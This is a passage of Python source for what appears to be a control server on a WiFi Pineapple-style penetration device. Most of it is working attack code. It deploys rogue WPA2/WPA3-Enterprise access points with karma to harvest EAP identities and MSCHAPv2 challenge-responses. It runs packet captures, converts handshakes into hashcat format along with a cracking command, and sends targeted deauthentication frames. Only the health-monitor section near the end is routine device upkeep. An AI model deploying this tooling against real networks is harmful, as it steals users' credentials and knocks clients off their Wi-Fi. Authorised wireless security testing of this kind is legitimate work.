|
|
item.get('password') or '',
|
|
)
|
|
|
|
|
|
def _merge_captures(*groups):
|
|
out = []
|
|
seen = set()
|
|
for group in groups:
|
|
for item in group or []:
|
|
key = _capture_key(item)
|
|
if key in seen:
|
|
continue
|
|
seen.add(key)
|
|
out.append(item)
|
|
return out
|
|
|
|
|
|
def _unique_keep_order(items):
|
|
seen = set()
|
|
out = []
|
|
for item in items:
|
|
if not item or item in seen:
|
|
continue
|
|
seen.add(item)
|
|
out.append(item)
|
|
return out
|
|
|
|
|
|
def _load_ent_captures():
|
|
try:
|
|
with open(ENT_CAPTURES) as f:
|
|
data = json.load(f)
|
|
if isinstance(data, list):
|
|
return data
|
|
if isinstance(data, dict) and isinstance(data.get('captures'), list):
|
|
return data['captures']
|
|
except (OSError, ValueError):
|
|
pass
|
|
return []
|
|
|
|
|
|
def _save_ent_captures(items):
|
|
try:
|
|
parent = os.path.dirname(ENT_CAPTURES)
|
|
if parent:
|
|
_mkdir(parent)
|
|
with open(ENT_CAPTURES, 'w') as f:
|
|
json.dump({'captures': items}, f)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def _harvest_ent_log():
|
|
# File only. Full `logread` on this hot path stalls the HTTP workers
|
|
# (PineAP log, filters, clients) past the UI's 20s GET timeout.
|
|
persisted = _load_ent_captures()
|
|
parsed = []
|
|
mtime = None
|
|
try:
|
|
mtime = os.path.getmtime(ENT_LOG)
|
|
except OSError:
|
|
pass
|
|
if (mtime is not None and _ent_log_cache['path'] == ENT_LOG
|
|
and _ent_log_cache['mtime'] == mtime):
|
|
parsed = list(_ent_log_cache['items'])
|
|
else:
|
|
try:
|
|
with open(ENT_LOG) as f:
|
|
parsed = _parse_ent_log(f.read())
|
|
except OSError:
|
|
parsed = []
|
|
_ent_log_cache['path'] = ENT_LOG
|
|
_ent_log_cache['mtime'] = mtime
|
|
_ent_log_cache['items'] = list(parsed)
|
|
merged = _merge_captures(persisted, parsed)
|
|
if parsed and merged != persisted:
|
|
_save_ent_captures(merged)
|
|
return merged
|
|
|
|
|
|
def _link_ent_ctrl():
|
|
"""Expose wlan1ent on the stock hostapd ctrl dir so pineapd can see it."""
|
|
try:
|
|
_mkdir(STOCK_HOSTAPD_CTRL)
|
|
except OSError:
|
|
return False
|
|
src = os.path.join(ENT_CTRL_DIR, ENT_IFACE)
|
|
dst = os.path.join(STOCK_HOSTAPD_CTRL, ENT_IFACE)
|
|
if not os.path.exists(src):
|
|
# Only wait on the live Pager, where wlan1ent exists. Unit tests and
|
|
# Linux CI have /proc but not the iface — skip the 8s poll there.
|
|
if not os.path.exists('/sys/class/net/%s' % ENT_IFACE):
|
|
return False
|
|
deadline = time.time() + 8
|
|
while time.time() < deadline and not os.path.exists(src):
|
|
time.sleep(0.25)
|
|
if not os.path.exists(src):
|
|
return False
|
|
try:
|
|
if os.path.islink(dst) or os.path.exists(dst):
|
|
os.unlink(dst)
|
|
os.symlink(src, dst)
|
|
return True
|
|
except OSError:
|
|
return False
|
|
|
|
|
|
def _unlink_ent_ctrl():
|
|
path = os.path.join(STOCK_HOSTAPD_CTRL, ENT_IFACE)
|
|
try:
|
|
if os.path.islink(path) or os.path.exists(path):
|
|
os.unlink(path)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def _ent_conf_text(ssid, channel, hidden, pmf, skip_keys=None):
|
|
"""Build a hostapd conf that this Pager firmware will actually parse."""
|
|
skip = set(ENT_HOSTAPD_UNSUPPORTED)
|
|
if skip_keys:
|
|
skip.update(skip_keys)
|
|
ssid = re.sub(r'[\r\n]', '', ssid or '')
|
|
pairs = [
|
|
('interface', ENT_IFACE),
|
|
('driver', 'nl80211'),
|
|
('ssid', ssid),
|
|
('hw_mode', 'a'),
|
|
('channel', str(int(channel))),
|
|
('country_code', 'US'),
|
|
('ieee80211d', '1'),
|
|
('ieee80211n', '1'),
|
|
('ht_capab', '[SHORT-GI-20][SHORT-GI-40]'),
|
|
('beacon_int', '100'),
|
|
('auth_algs', '1'),
|
|
('ieee8021x', '1'),
|
|
('eap_server', '1'),
|
|
('eap_user_file', ENT_EAP_USERS),
|
|
('ca_cert', ENT_CA_CERT),
|
|
('server_cert', ENT_SERVER_CERT),
|
|
('private_key', ENT_SERVER_KEY),
|
|
('wpa', '2'),
|
|
('wpa_key_mgmt', 'WPA-EAP'),
|
|
('wpa_pairwise', 'CCMP'),
|
|
('rsn_pairwise', 'CCMP'),
|
|
('ieee80211w', str(int(pmf))),
|
|
('wpa_disable_eapol_key_retries', '0'),
|
|
('ignore_broadcast_ssid', '1' if hidden else '0'),
|
|
('logger_stdout', '-1'),
|
|
('logger_stdout_level', '0'),
|
|
('logger_syslog', '-1'),
|
|
('logger_syslog_level', '0'),
|
|
('ctrl_interface', ENT_CTRL_DIR),
|
|
]
|
|
return ''.join('%s=%s\n' % (k, v) for k, v in pairs if k not in skip)
|
|
|
|
|
|
def _hostapd_unknown_items(text):
|
|
return re.findall(r"unknown configuration item '([^']+)'", text or '')
|
|
|
|
|
|
def _drop_hostapd_keys(conf, keys):
|
|
drop = set(keys or ())
|
|
if not drop:
|
|
return conf, False
|
|
kept = []
|
|
changed = False
|
|
for line in (conf or '').splitlines():
|
|
raw = line.strip()
|
|
if raw and not raw.startswith('#') and '=' in raw:
|
|
key = raw.split('=', 1)[0].strip()
|
|
if key in drop:
|
|
changed = True
|
|
continue
|
|
kept.append(line)
|
|
return ('\n'.join(kept) + ('\n' if kept else '')), changed
|
|
|
|
|
|
def _hostapd_failure_text(out, err):
|
|
parts = [err or '', out or '']
|
|
try:
|
|
with open(ENT_LOG) as f:
|
|
parts.append(f.read()[-4000:])
|
|
except OSError:
|
|
pass
|
|
return '\n'.join(p for p in parts if p).strip()
|
|
|
|
|
|
def _start_ent_hostapd():
|
|
"""Start hostapd, dropping keys this firmware does not understand."""
|
|
last = (1, '', '')
|
|
for _ in range(5):
|
|
rc, out, err = device_run(
|
|
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, '-f', ENT_LOG, ENT_CONF],
|
|
timeout=25)
|
|
combined = '%s\n%s' % (err or '', out or '')
|
|
if rc != 0 and re.search(r'invalid option|unrecognized option|unknown option', combined, re.I):
|
|
rc, out, err = device_run(
|
|
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF], timeout=25)
|
|
combined = '%s\n%s' % (err or '', out or '')
|
|
last = (rc, out, err)
|
|
if rc == 0:
|
|
return rc, out, err
|
|
unknown = _hostapd_unknown_items(_hostapd_failure_text(out, err))
|
|
if not unknown:
|
|
return rc, out, err
|
|
try:
|
|
with open(ENT_CONF) as f:
|
|
conf = f.read()
|
|
except OSError:
|
|
return rc, out, err
|
|
new_conf, changed = _drop_hostapd_keys(conf, unknown)
|
|
if not changed:
|
|
return rc, out, err
|
|
try:
|
|
with open(ENT_CONF, 'w') as f:
|
|
f.write(new_conf)
|
|
except OSError:
|
|
return rc, out, err
|
|
return last
|
|
|
|
|
|
def _ent_stations():
|
|
if not _ent_running():
|
|
return []
|
|
rc, out = _ent_ctrl('list_sta')
|
|
if rc != 0 or not out:
|
|
return []
|
|
return [line.strip().upper() for line in out.splitlines()
|
|
if re.match(r'^[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}$', line.strip())]
|
|
|
|
|
|
def _deploy_enterprise(fields):
|
|
ssid = (fields.get('ssid') or '').strip()
|
|
if not ssid:
|
|
raise ValueError('SSID is required')
|
|
enctype = fields.get('enctype') or fields.get('encryption') or 'wpa2'
|
|
if enctype not in ('wpa2', 'wpa3'):
|
|
raise ValueError('enterprise encryption must be wpa2 or wpa3')
|
|
method = (fields.get('auth_method') or fields.get('eap_method') or 'any').strip().lower()
|
|
if method not in ('any', 'mschapv2', 'gtc'):
|
|
method = 'any'
|
|
ch = fields.get('channel')
|
|
if ch is None:
|
|
ch = _best_channel_for(ssid)
|
|
if ch is None or channel_band(ch) != BAND_5G:
|
|
ch = 36
|
|
else:
|
|
ch = int(ch)
|
|
if channel_band(ch) != BAND_5G:
|
|
raise ValueError('enterprise AP runs on 5 GHz (36-177)')
|
|
# Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first.
|
|
for name in ('wlan0wpa', 'wlan0open'):
|
|
cfg = _uci_wifi_iface(name)
|
|
if cfg and cfg.get('disabled') == '0':
|
|
_set_uci('%s.disabled' % name, '1')
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
device_run(['wifi', 'reload'])
|
|
_disable_enterprise_ap()
|
|
# The stock daemon's enterprise config generation is broken on this
|
|
# firmware (emits eap_server_erp, which hostapd rejects), so the
|
|
# enterprise AP runs on its own karma+PineAPE hostapd instance on phy1,
|
|
# outside the daemon's interface set. Credentials still flow into
|
|
# recon.db (hostap_basic / hostap_chalresp) via the pineapd socket.
|
|
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
|
|
ENT_IFACE, 'type', 'managed'], timeout=15)
|
|
if rc != 0:
|
|
raise RuntimeError('could not create %s on phy1: %s' % (ENT_IFACE, (err or out).strip()))
|
|
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
|
|
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
|
|
try:
|
|
_mkdir(ENT_DIR)
|
|
if not _ensure_ent_certs():
|
|
raise RuntimeError(
|
|
'could not install EAP TLS certificates (PEAP/TTLS cannot capture without them)')
|
|
secret = _eap_secret(fields.get('passphrase') or fields.get('password') or '')
|
|
with open(ENT_EAP_USERS, 'w') as f:
|
|
f.write(_eap_users_text(secret, method))
|
|
hidden = bool(fields.get('hidden'))
|
|
# Optional PMF (ieee80211w=1) makes some PEAP clients refuse to start
|
|
# EAP. WPA2 capture APs stay more compatible with PMF off; WPA3 requires it.
|
|
pmf = 2 if enctype == 'wpa3' else 0
|
|
with open(ENT_CONF, 'w') as f:
|
|
f.write(_ent_conf_text(ssid, ch, hidden, pmf))
|
|
except OSError as exc:
|
|
raise RuntimeError('could not write enterprise config: %s' % exc)
|
|
# Tell the karma build which iface is the management (enterprise) AP and
|
|
# make karma respond to any SSID (deny mode = allow by default).
|
|
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
|
|
device_run(['uci', 'set', 'pineapd.@ssid_filter[0].mode=deny'])
|
|
device_run(['uci', 'set', 'pineapd.@mac_filter[0].mode=deny'])
|
|
device_run(['uci', 'commit', 'pineapd'])
|
|
_allow_all_ssids()
|
|
_pause_hop()
|
|
# The daemon's wireless reconciliation races standalone iface creation;
|
|
# retry through a few quiet windows before giving up.
|
|
verified = False
|
|
last_err = ''
|
|
for attempt in range(3):
|
|
rc, out, err = _start_ent_hostapd()
|
|
if rc == 0:
|
|
deadline = time.time() + 12
|
|
while time.time() < deadline:
|
|
rc2, out2 = _ent_ctrl('status')
|
|
if 'state=ENABLED' in (out2 or ''):
|
|
verified = True
|
|
break
|
|
time.sleep(2)
|
|
if verified:
|
|
break
|
|
last_err = _hostapd_failure_text(out, err)[-800:]
|
|
_disable_enterprise_ap()
|
|
if attempt < 2:
|
|
time.sleep(5)
|
|
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
|
|
ENT_IFACE, 'type', 'managed'], timeout=15)
|
|
if rc == 0:
|
|
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
|
|
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
|
|
if not verified:
|
|
raise RuntimeError('hostapd failed to start for enterprise AP: %s' % last_err)
|
|
ctrl = {
|
|
'pineap_enable': _ent_ctrl('pineap_enable')[0],
|
|
'pineape_enable': _ent_ctrl('pineape_enable')[0],
|
|
'pineape_auth_enable': _ent_ctrl('pineape_auth_enable')[0],
|
|
}
|
|
linked = _link_ent_ctrl()
|
|
device_run(['/etc/init.d/pineapd', 'reload'], timeout=20)
|
|
try:
|
|
with open(ENT_STATE, 'w') as f:
|
|
json.dump({
|
|
'ssid': ssid, 'enctype': enctype, 'hidden': bool(fields.get('hidden')),
|
|
'passphrase': secret, 'channel': int(ch), 'auth_method': method,
|
|
'started': int(time.time()), 'ctrl': ctrl, 'ctrl_linked': linked,
|
|
'certs': True,
|
|
}, f)
|
|
except OSError:
|
|
pass
|
|
return {'kind': 'enterprise', 'ssid': ssid, 'iface': ENT_IFACE,
|
|
'band': BAND_5G, 'channel': int(ch), 'verified': verified,
|
|
'auth_method': method, 'ctrl_linked': linked, 'ctrl': ctrl}
|
|
|
|
|
|
def _ent_summary(detail=True):
|
|
st = _ent_state_loaded()
|
|
running = _ent_running()
|
|
live = False
|
|
if running:
|
|
rc, out = _ent_ctrl('status', timeout=3)
|
|
live = 'state=ENABLED' in (out or '')
|
|
summary = {
|
|
'enabled': running,
|
|
'live': live,
|
|
'ssid': st.get('ssid') or '',
|
|
'enctype': st.get('enctype') or 'wpa2',
|
|
'band': BAND_5G,
|
|
'channel': st.get('channel', 36),
|
|
'iface': ENT_IFACE,
|
|
'started': st.get('started'),
|
|
'hidden': bool(st.get('hidden')),
|
|
'stations': [],
|
|
'auth_method': st.get('auth_method') or 'any',
|
|
'certs': bool(st.get('certs')),
|
|
'ctrl_linked': bool(st.get('ctrl_linked')),
|
|
'captures': 0,
|
|
}
|
|
if detail:
|
|
summary['stations'] = _ent_stations() if running else []
|
|
summary['captures'] = len(_load_ent_captures())
|
|
return summary
|
|
|
|
|
|
def _enterprise_boot_recover():
|
|
"""Re-deploy the enterprise AP after a Mark VIII restart."""
|
|
st = _ent_state_loaded()
|
|
if not st.get('ssid'):
|
|
return
|
|
try:
|
|
_deploy_enterprise(st)
|
|
except RuntimeError as exc:
|
|
try:
|
|
os.unlink(ENT_STATE)
|
|
except OSError:
|
|
pass
|
|
|
|
|
|
def h_attacks_deploy(ctx):
|
|
body = ctx.body or {}
|
|
kind = (body.get('kind') or '').strip().lower()
|
|
if kind not in ('wpa', 'open', 'enterprise'):
|
|
return 400, {'error': 'kind must be wpa, open or enterprise'}
|
|
try:
|
|
if kind == 'enterprise':
|
|
result = _deploy_enterprise(body)
|
|
else:
|
|
result = _deploy_wpa_open(kind, body)
|
|
except ValueError as exc:
|
|
return 400, {'error': str(exc)}
|
|
except RuntimeError as exc:
|
|
return 502, {'error': str(exc)}
|
|
update_pineap_state(mode='advanced', enabled=True, karma=True,
|
|
collect=True)
|
|
result['ok'] = True
|
|
return 200, result
|
|
|
|
|
|
def _uci_ap_summary(name, radio_name):
|
|
cfg = _uci_wifi_iface(name) or {}
|
|
if not cfg:
|
|
return None
|
|
return {
|
|
'enabled': cfg.get('disabled') == '0',
|
|
'live': _iface_live(name),
|
|
'ssid': cfg.get('ssid') or '',
|
|
'band': _radio_dict(radio_name).get('band'),
|
|
'channel': _ap_iface_dict(cfg, _uci_wifi_iface(radio_name)).get('channel'),
|
|
'iface': name,
|
|
}
|
|
|
|
|
|
def _count_table(table):
|
|
if not re.match(r'^[A-Za-z0-9_]+$', table or ''):
|
|
return 0
|
|
try:
|
|
rows = _db_rows(RECON_DB, 'SELECT COUNT(*) AS n FROM %s' % table, timeout=4)
|
|
if rows:
|
|
return int(rows[0].get('n') or 0)
|
|
except (RuntimeError, TypeError, ValueError, IndexError):
|
|
return 0
|
|
return 0
|
|
|
|
|
|
def h_attacks_status(ctx):
|
|
handshakes = _count_table('hostap_handshake')
|
|
identities = _count_table('hostap_basic')
|
|
mschapv2 = _count_table('hostap_chalresp')
|
|
creds = identities + mschapv2
|
|
summary = _ent_summary()
|
|
_, hostapd = daemon_sock_call('GET', '/api/pineap/hostapd/get_config', timeout=4)
|
|
pineape_on = not bool((hostapd or {}).get('pineape_disabled', True))
|
|
enterprise = {
|
|
'ap': summary,
|
|
'pineape': {'enabled': pineape_on},
|
|
'creds': creds,
|
|
'identities': identities,
|
|
'mschapv2': mschapv2,
|
|
'stations': summary.get('stations') or [],
|
|
'auth_method': summary.get('auth_method') or 'any',
|
|
'certs': bool(summary.get('certs')),
|
|
'captures': summary.get('captures') or 0,
|
|
'ctrl_linked': bool(summary.get('ctrl_linked')),
|
|
}
|
|
return 200, {
|
|
'wpa': {
|
|
'radio0': _uci_ap_summary('wlan0wpa', 'radio0'),
|
|
'radio1': _uci_ap_summary('wlan1wpa', 'radio1'),
|
|
},
|
|
'open': {
|
|
'radio0': _uci_ap_summary('wlan0open', 'radio0'),
|
|
'radio1': _uci_ap_summary('wlan1open', 'radio1'),
|
|
},
|
|
'enterprise': enterprise,
|
|
'handshakes': handshakes,
|
|
'hop': {'wlan1mon': _read_hop()},
|
|
}
|
|
|
|
|
|
def _radio1_ap_active():
|
|
for name in ('wlan1wpa', 'wlan1open'):
|
|
cfg = _uci_wifi_iface(name)
|
|
if cfg and cfg.get('disabled') == '0':
|
|
return True
|
|
return False
|
|
|
|
|
|
def h_attacks_stop(ctx):
|
|
kind = ((ctx.body or {}).get('kind') or '')
|
|
stopped = []
|
|
if kind in ('wpa', 'open'):
|
|
if kind == 'wpa':
|
|
names = ('wlan0wpa', 'wlan1wpa')
|
|
else:
|
|
names = ('wlan0open', 'wlan1open')
|
|
for name in names:
|
|
cfg = _uci_wifi_iface(name)
|
|
if cfg and cfg.get('disabled') == '0':
|
|
_set_uci('%s.disabled' % name, '1')
|
|
stopped.append(name)
|
|
elif kind == 'enterprise':
|
|
if _ent_running() or os.path.exists(ENT_STATE):
|
|
_disable_enterprise_ap()
|
|
stopped.append(ENT_IFACE)
|
|
else:
|
|
return 400, {'error': 'kind must be wpa, open or enterprise'}
|
|
if stopped:
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
device_run(['wifi', 'reload'])
|
|
# Leave hop alone if a radio1 AP is still active.
|
|
if not _radio1_ap_active():
|
|
_resume_hop()
|
|
return 200, {'ok': True, 'stopped': stopped}
|
|
|
|
|
|
def h_attacks_capture(ctx):
|
|
body = ctx.body or {}
|
|
action = body.get('action') or 'status'
|
|
iface = body.get('iface') or 'wlan0mon'
|
|
if iface not in ('wlan0mon', 'wlan1mon'):
|
|
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
|
|
pidfile = '/tmp/mk8_capture_%s.pid' % iface
|
|
capdir = '/root/loot/pcap'
|
|
if action == 'start':
|
|
try:
|
|
with open(pidfile) as f:
|
|
old = int(f.read().strip())
|
|
if os.path.exists('/proc/%d' % old):
|
|
return 200, {'running': True, 'pid': old, 'iface': iface}
|
|
except (OSError, ValueError):
|
|
pass
|
|
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
|
|
rc, out, err = device_run(
|
|
['sh', '-c',
|
|
'setsid tcpdump -i %s -s 3000 -w %s >/dev/null 2>&1 & echo $! > %s'
|
|
% (iface, path, pidfile)], timeout=10)
|
|
try:
|
|
with open(pidfile) as f:
|
|
pid = int(f.read().strip())
|
|
except (OSError, ValueError):
|
|
pid = None
|
|
if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid):
|
|
return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]}
|
|
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
|
|
if action == 'stop':
|
|
try:
|
|
with open(pidfile) as f:
|
|
old = int(f.read().strip())
|
|
device_run(['kill', str(old)], timeout=10)
|
|
try:
|
|
os.unlink(pidfile)
|
|
except OSError:
|
|
pass
|
|
return 200, {'running': False, 'stopped': old}
|
|
except (OSError, ValueError):
|
|
return 200, {'running': False, 'stopped': None}
|
|
# status
|
|
running = False
|
|
try:
|
|
with open(pidfile) as f:
|
|
old = int(f.read().strip())
|
|
running = os.path.exists('/proc/%d' % old)
|
|
except (OSError, ValueError):
|
|
pass
|
|
return 200, {'running': running, 'iface': iface}
|
|
|
|
|
|
def h_attacks_export_hc22000(ctx):
|
|
"""Convert captured pcaps into a hashcat-ready .hc22000 file."""
|
|
outdir = '/root/loot/hc22000'
|
|
device_run(['mkdir', '-p', outdir])
|
|
sources = []
|
|
for d in ('/root/loot/handshakes', '/root/loot/pcap'):
|
|
rc, out, err = device_run(['ls', d])
|
|
for line in out.splitlines():
|
|
line = line.strip()
|
|
if line.endswith(('.pcap', '.cap', '.pcapng')):
|
|
sources.append(os.path.join(d, line))
|
|
if not sources:
|
|
return 404, {'error': 'no capture files found under /root/loot'}
|
|
outname = 'handshakes_%d.hc22000' % int(time.time())
|
|
outpath = os.path.join(outdir, outname)
|
|
rc, out, err = device_run(['hcxpcapngtool', '-o', outpath] + sources, timeout=120)
|
|
if rc != 0 or not os.path.exists(outpath):
|
|
return 502, {'error': 'hcxpcapngtool failed', 'detail': (err or out)[-500:]}
|
|
size = os.path.getsize(outpath)
|
|
return 200, {'file': outpath, 'name': outname, 'size': size,
|
|
'hashcat': 'hashcat -m 22000 %s -a 0 wordlist.txt' % outname}
|
|
|
|
|
|
def h_attacks_download_hc22000(ctx):
|
|
name = _unquote_plus(ctx.args[0])
|
|
if not re.match(r'^handshakes_\d+\.hc22000$', name):
|
|
return 400, {'error': 'invalid name'}
|
|
full = os.path.join('/root/loot/hc22000', name)
|
|
if not os.path.isfile(full):
|
|
return 404, {'error': 'not found'}
|
|
with open(full, 'rb') as f:
|
|
body = f.read()
|
|
return 200, Download(body, 'application/octet-stream', name)
|
|
|
|
|
|
def h_attacks_deauth(ctx):
|
|
body = ctx.body or {}
|
|
bssid = (body.get('bssid') or '').strip().upper()
|
|
client = (body.get('client') or '').strip().upper()
|
|
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
|
|
return 400, {'error': 'invalid AP MAC'}
|
|
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', client):
|
|
return 400, {'error': 'invalid client MAC'}
|
|
channel = body.get('channel')
|
|
try:
|
|
channel = int(channel) if channel is not None else None
|
|
except (TypeError, ValueError):
|
|
return 400, {'error': 'invalid channel'}
|
|
band = _band_of_channel(channel) if channel is not None else None
|
|
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
|
|
if inject != 'wlan1mon':
|
|
_pineap('INTERFACE', 'INJECT', inject)
|
|
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client,
|
|
str(channel or 1)], timeout=30)
|
|
if rc != 0:
|
|
return 502, {'error': 'deauth failed', 'detail': err or out}
|
|
return 200, {'ok': True, 'bssid': bssid, 'client': client,
|
|
'channel': channel, 'inject': inject}
|
|
|
|
|
|
def _pineap(*args, timeout=30):
|
|
with _pineapd_cmd_lock:
|
|
rc, out, err = device_run(['_pineap'] + list(args), timeout=timeout)
|
|
return rc, out, err
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Health monitor: keep pineapd alive and the monitor radios up. On this
|
|
# firmware the stock UI owns PineAP UCI; Mark VIII must not disable the
|
|
# SSID pool or rewrite hopping just because pineapd restarted.
|
|
# --------------------------------------------------------------------------
|
|
|
|
HEALTH_POLL_SECONDS = 15
|
|
HEALTH_FIX_COOLDOWN = 20.0
|
|
HEALTH_STOP = threading.Event()
|
|
_health = {
|
|
'sigsegv_last': None,
|
|
'last_fix': 0.0,
|
|
'fixes': 0,
|
|
'last_action': None,
|
|
'pineap_up': False,
|
|
}
|
|
|
|
|
|
def _sigsegv_count():
|
|
rc, out, err = device_run(['logread', '-l', '200'], timeout=4)
|
|
return (out or '').count('SIGSEGV')
|
|
|
|
|
|
PINEAPD_SAFE_UCI = {
|
|
'pineapd.@ssidpool[0].disable': '1',
|
|
'pineapd.wlan2mon.disable': '1',
|
|
'pineapd.wlan2mon.hop': '0',
|
|
'pineapd.wlan1mon.bands': '5',
|
|
'pineapd.wlan0mon.bands': '2',
|
|
'pineapd.wlan1mon.hop': '0',
|
|
}
|
|
PINEAPD_RUNTIME_UCI = {
|
|
key for key in PINEAPD_SAFE_UCI if '.wlan' in key
|
|
}
|
|
PINEAPD_RUNTIME_UCI.add('pineapd.@ssidpool[0].disable')
|
|
|
|
|
|
def _apply_uci_wanted(wanted):
|
|
"""Idempotently apply a wanted UCI key/value set. Returns changed keys."""
|
|
actions = []
|
|
for key, value in wanted.items():
|
|
rc, out, err = device_run(['uci', 'get', key])
|
|
if rc != 0 or out.strip() != value:
|
|
device_run(['uci', 'set', '%s=%s' % (key, value)])
|
|
actions.append(key)
|
|
return actions
|
|
|
|
|
|
def _pending_uci(wanted):
|
|
pending = []
|
|
for key, value in wanted.items():
|
|
rc, out, err = device_run(['uci', 'get', key])
|
|
if rc != 0 or out.strip() != value:
|
|
pending.append(key)
|
|
return pending
|
|
|
|
|
|
def _stabilize_uci(clear_pool=False):
|
|
"""Optional sane-off UCI pass. Never used on a healthy pineapd — rewriting
|
|
live PineAP settings (pool broadcast, hopping, SSID list) is what bricks
|
|
the stock UI and forces a factory reset. The SSID list is preserved
|
|
unless a caller opts in with clear_pool=True."""
|
|
actions = _apply_uci_wanted(PINEAPD_SAFE_UCI)
|
|
if clear_pool:
|
|
rc, out, err = device_run(['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
|
|
if rc == 0 and out.strip():
|
|
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
|
|
actions.append('pool-list cleared')
|
|
if actions:
|
|
device_run(['uci', 'commit', 'pineapd'])
|
|
return actions
|
|
|
|
|
|
def _stabilize_pineapd():
|
|
"""Manual crash-source pass. Not invoked by env_check or the health
|
|
monitor: those must not rewrite a live PineAP configuration."""
|
|
actions = _stabilize_uci(clear_pool=False)
|
|
if actions:
|
|
return 'stabilized: ' + ', '.join(actions)
|
|
return 'pineapd restart'
|
|
|
|
|
|
def _iface_up(name):
|
|
"""True when the interface's admin flags contain UP. Monitor interfaces
|
|
report operstate 'unknown' even when usable, so parse `ip link` flags."""
|
|
rc, out, err = device_run(['ip', 'link', 'show', name], timeout=10)
|
|
if rc != 0:
|
|
return False
|
|
m = re.search(r'<([^>]+)>', out or '')
|
|
if not m:
|
|
return False
|
|
return 'UP' in m.group(1).split(',')
|
|
|
|
|
|
def _monitor_down(name):
|
|
return not _iface_up(name)
|
|
|
|
|
|
def health_check():
|
|
"""One health pass. Returns the health dict. Fix actions are
|
|
rate-limited by HEALTH_FIX_COOLDOWN.
|
|
|
|
The check is PASSIVE (pidof) — actively pinging pineapd's command
|
|
socket every 15s collides with the stock daemon's own socket writes
|
|
('[PineAp] Error writing' -> daemon watchdog SIGTERMs pineapd).
|
|
"""
|
|
h = _health
|
|
rc, out, err = device_run(['pidof', 'pineapd'], timeout=10)
|
|
h['pineap_up'] = rc == 0 and bool((out or '').strip())
|
|
if not h['pineap_up']:
|
|
now = time.time()
|
|
if now - h['last_fix'] < HEALTH_FIX_COOLDOWN:
|
|
return dict(h)
|
|
# Restart pineapd and repair monitors. Do not rewrite UCI: disabling
|
|
# the SSID pool or clearing collected SSIDs is user-visible data loss
|
|
# and is the class of change that has required factory resets.
|
|
if _monitor_down('wlan1mon') or _monitor_down('wlan0mon'):
|
|
_bring_monitors_up(h)
|
|
else:
|
|
h['last_action'] = 'pineapd restart'
|
|
device_run(['/etc/init.d/pineapd', 'restart'], timeout=30)
|
|
h['sigsegv_last'] = _sigsegv_count()
|
|
h['last_fix'] = now
|
|
h['fixes'] += 1
|
|
return dict(h)
|
|
# pineapd is healthy, but wifi reloads still drop the monitors (pineapd
|
|
# does not bring secondary monitors back). Repair them without cooldown.
|
|
if _monitor_down('wlan1mon') or _monitor_down('wlan0mon'):
|
|
_bring_monitors_up(h)
|
|
return dict(h)
|
|
|
|
|
|
def _raise_monitors():
|
|
"""Bring down monitor interfaces up and return those verified up."""
|
|
raised = []
|
|
for name in ('wlan1mon', 'wlan0mon'):
|
|
if _monitor_down(name):
|
|
rc, out, err = device_run(
|
|
['ip', 'link', 'set', name, 'up'], timeout=10)
|
|
if rc == 0 and not _monitor_down(name):
|
|
raised.append(name)
|
|
return raised
|
|
|
|
|
|
def _bring_monitors_up(h):
|
|
raised = _raise_monitors()
|
|
unavailable = [
|
|
name for name in ('wlan0mon', 'wlan1mon') if _monitor_down(name)]
|
|
if unavailable:
|
|
h['last_action'] = 'monitor repair failed: ' + ', '.join(unavailable)
|
|
else:
|
|
h['last_action'] = 'monitor interfaces brought up'
|
|
if raised:
|
|
h['monitor_fixes'] = h.get('monitor_fixes', 0) + len(raised)
|
|
|
|
|
|
def h_health(ctx):
|
|
h = dict(_health)
|
|
h['sigsegv_count'] = h.pop('sigsegv_last')
|
|
h['pool_disabled'] = _uci_section('pineapd.@ssidpool[0]').get('disable') == '1'
|
|
h['wlan1mon_up'] = not _monitor_down('wlan1mon')
|
|
h['wlan0mon_up'] = not _monitor_down('wlan0mon')
|
|
h['pool_runtime'] = ENV_CHECK_STATE.get('pool_runtime')
|
|
if ENV_CHECK_STATE.get('report'):
|
|
h['env'] = {
|
|
'overall': ENV_CHECK_STATE['overall'],
|
|
'updated': ENV_CHECK_STATE['updated'],
|
|
'counts': {k: _env_count(ENV_CHECK_STATE['report'], k)
|
|
for k in ('pass', 'fixed', 'warn', 'fail')},
|
|
'steps': ENV_CHECK_STATE['report'],
|
|
}
|
|
return 200, h
|
|
|
|
|
|
def _health_loop():
|
|
while not HEALTH_STOP.is_set():
|
|
try:
|
|
health_check()
|
|
except Exception:
|
|
pass
|
|
HEALTH_STOP.wait(HEALTH_POLL_SECONDS)
|
|
|
|
|
|
def start_health_monitor():
|
|
threading.Thread(target=_health_loop, daemon=True).start()
|
|
|
|
|
|
# --------------------------------------------------------------------------
|
|
# Startup environment check: run once at service startup (and via
|
|
# ``server.py --env-check`` on the payload screen) to make the device match
|
|
# the UI before the user interacts with it.
|
|
# --------------------------------------------------------------------------
|
|
|
|
ENV_CHECK_STATE = {'report': None, 'overall': None, 'updated': 0, 'pool_runtime': None}
|
|
STARTUP_CHECK_ATTEMPTS = 6
|
|
